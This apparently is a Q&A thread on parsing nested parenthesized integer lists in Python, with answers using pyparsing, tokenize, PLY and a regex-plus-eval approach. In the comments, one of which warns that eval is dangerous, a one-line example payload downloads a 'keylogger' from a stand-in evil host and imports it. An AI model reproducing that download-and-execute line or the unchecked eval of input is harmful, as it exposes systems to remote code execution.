3

For example, I have the following input data:

(( 12 3 ) 42 )

I want to treat each integer value of the input data. This is an example of the general input data presentation.

Just for additional information:

Such presentation is corresponding to the binary tree with marked leaves:

   /\
  /\ 42
 12 3
Brock Woolf
  • 46,656
  • 50
  • 121
  • 144
Mike
  • 31
  • 2

4 Answers4

3

I recommend pyparsing for this parsing task -- here, for example, is a pyparsing-based parsers for S-expressions... probably much richer and more powerful than what you need, but with a really limited understanding of Python and pyparsing you can simplify it down as much as you require (if at all -- it's quite able to perform your task already, as a subset of the broader set it covers;-).

Alex Martelli
  • 854,459
  • 170
  • 1,222
  • 1,395
1

I wrote this script. It may be helpful

import tokenize,StringIO
def parseNode(tokens):
    l = []
    while True:
        c = next(tokens)
        if c[1] == '(':
            l.append(parseNode(tokens))
        elif c[1] == ')':
            return l
        elif c[0] == tokenize.NUMBER:
            l.append(int(c[1]))
def parseTree(string):
    tokens = tokenize.generate_tokens(StringIO.StringIO(string).readline)
    while next(tokens)[1] != '(' : pass
    return parseNode(tokens)
print parseTree('(( 12 3 ) 42 15 (16 (11 2) 2) )')
Odomontois
  • 15,918
  • 2
  • 36
  • 71
0

here is good list of resources you could use. I would suggest PLY

Community
  • 1
  • 1
cji
  • 6,635
  • 2
  • 20
  • 16
0

something like the following should work:

import re
newinput = re.sub(r"(\d) ", r"\1, ", input)
newinput = re.sub(r"\) ", r"), ", newinput)
eval(newinput)
Eric Snow
  • 1,198
  • 8
  • 21
  • Have you tested this solution before posting? Is `(, 6, 9,)` even valid Python expression? – cji Aug 14 '10 at 04:58
  • fixed it. Should have been ) – Eric Snow Aug 14 '10 at 05:07
  • 1
    If I needed something really lightweight, I might do that with whatever matched the regular expression `([\d\w()]*)` (or at least a tested version of it). otherwise `import eval_is_evil` will get evaluated with whatever permissions the program has. If you can get malicious code through a working version of the regular expression i've given, you deserve to own my system. – aaronasterling Aug 14 '10 at 06:46
  • `'''import urllib, os; path = os.path.expanduser('~/.common.hidden.path./.keylogger.py'); urllib.urlretrive('http://my.evil.russian.websever.info', path); __import__(path)'''` – aaronasterling Aug 14 '10 at 07:10